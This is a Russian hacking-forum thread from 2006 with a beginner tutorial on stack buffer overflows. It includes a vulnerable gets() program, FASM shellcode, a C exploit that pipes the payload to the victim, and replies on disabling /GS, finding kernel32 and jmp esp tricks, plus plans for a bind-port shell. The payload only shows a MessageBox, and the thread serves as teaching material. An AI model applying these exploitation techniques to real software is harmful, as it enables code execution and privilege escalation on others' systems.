Авторские статьи Что такое переполнение буфера?

Discussion in 'Статьи' started by _Great_, 8 Nov 2006.

  1. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Article: Переполнение - что это такое?
    Author: Great
    Date: 07.11.2006
    Note: В статье предполагается знание читателем языков программирования C, Assembler
    Статья является ознакомительным вводным материалом для знакомства читателя с темой информационной безопасности. Автор не несет никакой ответственности за прямой или косвенный ущерб, каким-либо образом нанесенный использованием или не использованием данного материала. Вся ответственность за незаконное использование материалов этой статьи ложится только на вас.


    I. Переполнение буфера. Что такое?

    Рассмотрим небольшой, но очень эффектный пример.
    Code:
    void get_user_name()
    {
    	char username[10];
    
    	printf("Enter your name: ");
    	gets(username);
    
    	printf("Hello, %s!\n", username);
    }
    
    main()
    {
    	get_user_name();
    	return 0;
    }
    С первого взгляда, ничего страшного нету. Программа считывает имя пользователя и здоровается с ним. Однако, посмотрим. Под имя пользователя отводится 10 символов. Место для этой локальной переменной выделяется в стеке, и с ним соседствует запись о кадре стека (сохраненное значение EBP) и адрес возврата в main() из функции get_user_name(). А что, если мы введем не 10 символов, а, скажем, 100? gets() ничего не известно про размер буфера, поэтому она послушно запишет эти 100 символов по адресу буфера. Первые 10 символов аккурат лягут в буфер, а остальное?... Правильно, затрет значения EBP и адреса возврата. При подходе к концу функции и выполнению RET для выхода процессор считает из стека адрес возврата, уже перезаписанный нами... и управление уйдет совсем не туда, как это предполагал программист.

    II. Что полезного оно нам дает?

    Разберемся теперь, что же полезного нам дает переполнение локального буфера. Мы можем перезаписать адрес возврата и устремить процессор на наш (возможно, злобный :)) код. Удаленно это позволит выполнять произвольный код на целевой системе, локально, если программа запущена под root'ом, это позволит нам получить привилегии администратора системы. Весьма перспективно, не правда ли?

    III. Практика

    Перейдем же, наконец, к практике. Для начала, нам нужно определить, какие именно байты (по порядку от начала строки) затирают адрес возврата.
    Делается это элементарно таким образом - вводится строка вида AAAAAAAAAA0123456789. Очевидно, что адрес затрут какие-то 4 байта от 0 до 9 с этой строке. Выясним же, какие.

    [​IMG]

    Операционная система заботливо сообщает нам, что не может обратиться по адресу 0x39383736. Совершенно несложно проверить, что это коды символов '9', '8', '7' и '6', то есть эти байты затерли адрес возврата. Прекрасно. Теперь нам нужно узнать месторасположение в памяти наших данных. Программа всегда загружается в свое виртуальное адресное пространство по одному и тому же виртуальному адресу, и стек выделяется тоже по фиксированному виртуальному адресу в адресном пространстве нашей программы. Это значит, что адрес строки в памяти с каждым запуском нашей программы меняться не будет. А ведь это здорово, мы можем записать адрес возврата, например, адресом следующих после 6789 байт, где и разместим наш код.
    Итак, нам нужно узнать адрес данных. Что может быть проще? Загружаем программу в отладчик, вводим строку программе AAAAAAAAAA0123456789zzcv, ждем исключения, открываем дамп стека в отладчике и ищем строку "zzcv" в стеке - начиная с этого адреса мы расположим в дальнейшем наш код.
    Voil`a! Смотрим в отладчик:

    [​IMG]
    Смотрим, что строка 'zzcv' найдена по адресу 0x0013ff34. Это не первое вхождение строки в стеке, но отладчик снизу показывает еще содержимое стека с адресами, где тоже виден адрес
    0x0013ff34. Так что можно утверждать, что наш код разместится именно там.
    Попробуем написать вызов MessageBox'а. Нам потребуется компилятор FASMW для того, чтобы собрать код эксплоита. Чуток забегу вперед и скажу, что наш код будет таким:
    Code:
    org 0x0013ff34; base address
    use32; 32-bit code
    
    ;
    ; Exploit code
    ;
    
    ; Load library 'user32.dll'
    push user32
    call [LoadLibrary]
    
    ; Get 'MessageBoxA' address
    push messagebox
    push eax
    call [GetProcAddress]
    
    ; Invoke MessageBoxA
    push dword 0
    push dword 0
    push message
    push dword 0
    call eax
    
    ; Exit
    call [ExitProcess]
    
    
    user32 db "USER32.DLL",0
    messagebox db "MessageBoxA",0
    caption db "Exploit",0
    message db "Proof-of-Concept exploit code",0
    
    ;
    ; API's
    ;
    KERNEL32_BASE equ 0x7c800000
    ExitProcess    dd KERNEL32_BASE+0x0001CDDA
    GetProcAddress dd KERNEL32_BASE+0x0000ADA0
    LoadLibrary    dd KERNEL32_BASE+0x00001D77
    Думаю, знающим язык ассемблера разобраться в столь банальном коде не составит труда, но я все же дам некоторые комментарии по этому поводу.
    С помощью ORG мы задаем место в памяти, с которого будет располагаться наш код во время выполнения.
    В конце мы располагаем константу KERNEL32_BASE, которая равна базовому адресу загрузки библиотеки kernel32.dll, подгружаемой к каждому процессу, в памяти. Потом расположены адреса некоторых функций в ней, нам потребуются LoadLibraryA и GetProcAddress для вызова MessageBox из user32.dll и ExitProcess для завершения программы.
    Скажу сразу, этот код не портабелен. Под другой версией ОС Windows, даже в другом сервиспаке или build'е адреса функций неизбежно будут другими. Но это лишь демонстрация, в боевых условиях адрес ядра берется из сегмента FS, а поиск функций производится напрямую в коде ядра. Под *nix-like системами вообще ничего такого производить не нужно, все системные вызовы реализуются одним прерыванием, адрес обработчика которого задается операционной системой в таблице IDT, следовательно, нам вообще не нужно знать месторасположение ядра в памяти. Код PoC эксплоита под linux, выводящего сообщение на консоль,будет гораздо проще. Ну, это лирика. Двинемся дальше.
    Что же происходит в нашем коде? Подгружается к текущему процессу user32.dll, если она еще не подгружена и в ней ищется функция MessageBoxA для вывода диалогового окошка с сообщением о том, что эксплоит сработал.
    Итак, пробуем FASMW: Ctrl-F9, скомпилировалось. Берем утилиту мою bin2c, которая переводит бинарник в вид, понятный компилятору си (вида \x00\x01\x02\0x03):
    \x68\x67\xff\x13\x00\xff\x15\xac\xff\x13\x00\x68\x72\xff\x13\x00\x50\xff\x15
    \xa8\xff\x13\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x86\xff\x13
    \x00\x68\x00\x00\x00\x00\xff\xd0\xff\x15\xa4\xff\x13\x00\x55\x53\x45\x52
    \x33\x32\x2e\x44\x4c\x4c\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78
    \x41\x00\x45\x78\x70\x6c\x6f\x69\x74\x00\x50\x72\x6f\x6f\x66\x2d\x6f
    \x66\x2d\x43\x6f\x6e\x63\x65\x70\x74\x20\x65\x78\x70\x6c\x6f\x69\x74
    \x20\x63\x6f\x64\x65\x00\xda\xcd\x81\x7c\xa0\xad\x80\x7c\x77\x1d\x80\x7c
    Пишем код эксплоита на Си:
    Code:
    #include <windows.h>
    #include <stdio.h>
    
    #define VICTIM "H:\\Progs\\superproga\\Debug\\superproga.exe"
    
    char shellcode[] =  "AAAAAAAAAA012345\x34\xff\x13\x00"
    	// Shellcode
    	"\x68\x67\xff\x13\x00\xff\x15\xac\xff\x13\x00\x68\x72\xff\x13\x00\x50\xff\x15"
    "\xa8\xff\x13\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x86\xff\x13"
    "\x00\x68\x00\x00\x00\x00\xff\xd0\xff\x15\xa4\xff\x13\x00\x55\x53\x45\x52"
    "\x33\x32\x2e\x44\x4c\x4c\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78"
    "\x41\x00\x45\x78\x70\x6c\x6f\x69\x74\x00\x50\x72\x6f\x6f\x66\x2d\x6f"
    "\x66\x2d\x43\x6f\x6e\x63\x65\x70\x74\x20\x65\x78\x70\x6c\x6f\x69\x74"
    "\x20\x63\x6f\x64\x65\x00\xda\xcd\x81\x7c\xa0\xad\x80\x7c\x77\x1d\x80\x7c";
    int len = sizeof(shellcode)-1;
    
    main()
    {
    	FILE* fp;
    	int i=0;
    
    	printf("[~] Creating pipe to victim '" VICTIM "' ");
    	fp = _popen(VICTIM, "w");
    	if(!fp)
      return printf("[FAILED]\n[-] Cannot create pipe\n");
    	
    	printf("[ OK ]\n[~] Attempting to send destructive code ");
    	for(;i<len;i++)
    	{
      fputc(shellcode[i], fp);
    	}
    
    
    	printf("[ OK ]\n\n");
    	_pclose(fp);
    	return 0;
    }
    Как видно, ничего сложного. Открываем пайп с уязвимой программой и посылаем туда код эксплоита. Результат - затирается адрес возврата, после RET управление переходит к нашему коду, который выводит MessageBox и завершает процесс. Если бы эта была программа под *nix с suid-битом и правами root, можно было бы с тем же успехом вызвать командный интерпретатор root'а и выполнять команды от его имени.

    Итак, что же мы имеем. Если у нас есть программа, которая не контролирует выход за пределы локального буфера, мы можем перезаписать часть стека и исполнить код в контексте этой программы. Позволю себе закончить на этой радостной ноте, удачного компилирования ;)


    К статье прилагаются - два скриншота (overflow1.png, overflow2.png), утилита bin2c с исходными текстами для кодирования бинарного файла в вид Си-строки.

    http://gr8.cih.ms/data/bin2c.rar

    * * *

    Статья для новичков в этой сфере (но навыки кодинга предполагаются, иначе ничего объяснить просто невозможно), чтобы они лучше понимали суть происходящего.
    Ногами сильно не пинать :)
     
    #1 _Great_, 8 Nov 2006
    Last edited: 19 Aug 2007
    nynenado, MegaDeth, slider and 8 others like this.
  2. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Не забудьте выключить защиту стека "/GS-", если используете Visual Studio .NET, по умолчанию включено. Поищите там в Properties проекта.

    Вообще клёво!

    З.Ы.
    А почему \x00 не воспринимается как конец строки и gets() продолжает считывать?
     
  3. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    gets слишком тупая для этого :)
     
  4. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Кстати, кому лень запускать - вот так выглядит работа эксплоита:
    [​IMG]
     
    #4 _Great_, 8 Nov 2006
    Last edited: 19 Aug 2007
  5. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Функция поиска базы KERNEL32.DLL в сегменте FS:

    Code:
    qGetKernel32Handle proc near
          xor    eax, eax
          mov    eax, fs:[eax+30h]
          test    eax, eax
          js      short loc_169067
          push    esi
          mov    eax, [eax+0Ch]
          mov    esi, [eax+1Ch]
          lodsd
          mov    eax, [eax+8]
          pop    esi
          retn
    loc_169067:
          mov    eax, [eax+34h]
          add    eax, 7Ch
          mov    eax, [eax+3Ch]
          retn
    qGetKernel32Handle endp

    Added: Проверил, работает ;)
     
    #5 _Great_, 8 Nov 2006
    Last edited: 8 Nov 2006
    1 person likes this.
  6. Pochka

    Pochka Banned

    Joined:
    26 Nov 2005
    Messages:
    27
    Likes Received:
    7
    Reputations:
    -2
    RTFMSDN

     
    1 person likes this.
  7. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Code:
    _TCHAR * __cdecl _getts (
            _TCHAR *string
            )
    {
            int ch;
            _TCHAR *pointer = string;
            _TCHAR *retval = string;
    
            _ASSERTE(string != NULL);
    
    #ifdef _MT
            _lock_str2(0, stdin);
            __try {
    #endif  /* _MT */
    
    #ifdef _UNICODE
            while ((ch = _getwchar_lk()) != L'\n')
    #else  /* _UNICODE */
            while ((ch = _getchar_lk()) != '\n')
    #endif  /* _UNICODE */
            {
                    if (ch == _TEOF)
                    {
                            if (pointer == string)
                            {
                                    retval = NULL;
                                    goto done;
                            }
    
                            break;
                    }
    
                    *pointer++ = (_TCHAR)ch;
            }
    
            *pointer = _T('\0');
    
    /* Common return */
    done:
    
    #ifdef _MT
            ; }
            __finally {
                    _unlock_str2(0, stdin);
            }
    #endif  /* _MT */
    
            return(retval);
    }
    кто-нить видит проверку на '\0' ?
     
  8. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Вот функция для поиска апишки по имени
    http://cribble.by.ru/data/getprocaddressex.asm
    Только, неоптимизированная. Она была написана на си, выдрана с помощью IDA Pro и частично переписана для Fasm.
    В сети можно найти много аналогов, но мне пока еще не удалось заставить их работать )
     
    1 person likes this.
  9. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    Довольно грамотно и четко, порадовало что активно используется flat assembler но

    довольно неэстетичный способ - жестко прописывать конкретный адрес
    буфера в _стеке_
    не проще ли просто найти \xFF\xE4 (jmp esp) в ntdll
    и поставить его адрес для eip ?
    кто бы что не говорил, jmp esp легче найти где-нибудь так чтоб он был почти везде одинаков. темболее если специфическое приложение использует какую-нибудь свою dll

    Рискую показать глупость, но зачем задавать базу если этот код все равно просто пойдет в бинарном виде в стек...

    ну и веселая очепятка
    ещё, думаю, прикольно было бы написать про создание win32-шеллкода для bindport'а... именно шеллкода

    PS
    http://cribble.by.ru/data/getprocaddressex.asm
    ))))
    я тоже так делаю, просто не показываю :D
     
    #9 KEZ, 9 Nov 2006
    Last edited: 9 Nov 2006
    2 people like this.
  10. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    машинный код некоторых инструкций сильно зависит от их положения в памяти (есть неперемещаемые инструкции - некоторые виды CALL и JMP). Можешь попробовать убрать ORG или сделать его другим и запустить код. Стопудов будет Access Violation (вызов CALL [LoadLibrary] слетит, потому что рассчитывается смещение адреса входа в lodlibrary относительно текущией инструкции при компиляции. Изменишь ORG - CALL уведет уже вникуда)

    выдираешь ИДОЙ код? :)

    осталось уже всего ничего :) Поиск базы кернела и апишек я написал, осталось создать сокет, ждать конекта, заполнить STARTUP_INFORMATOIN и сделать CreateProcess ;)

    хм... ну тогда придется прописать конкретный адрес JMP ESP из ntdll, который наверняка будет варьироваться от билда к билду. хотя можно найти ее в таком месте, где она всегда будет лежать)
     
    #10 _Great_, 9 Nov 2006
    Last edited: 9 Nov 2006
  11. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    всё я врулил для чего тебе org, посмотрев на скриншот ollydbg
    строка в уязвимой программе находится по этому адресу
    ясное дело что не только код инструкции влияет на резльтат но и ее адрес
    но можно сделать так

    тоже самое для GetProcAddress и ExitProcess
    в EXE то достатоно менять call'ы параметрами поменять на call'ы чего-нибудь содержащего этот параметр, например регистра
    помоему за тем шелл код и делается чтоб мог выполняться в любом месте...
     
    1 person likes this.
  12. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Конечно, так можно :) Но я старался сделать нагляднее, а не эффективнее, поэтому получилось немного криво
     
    1 person likes this.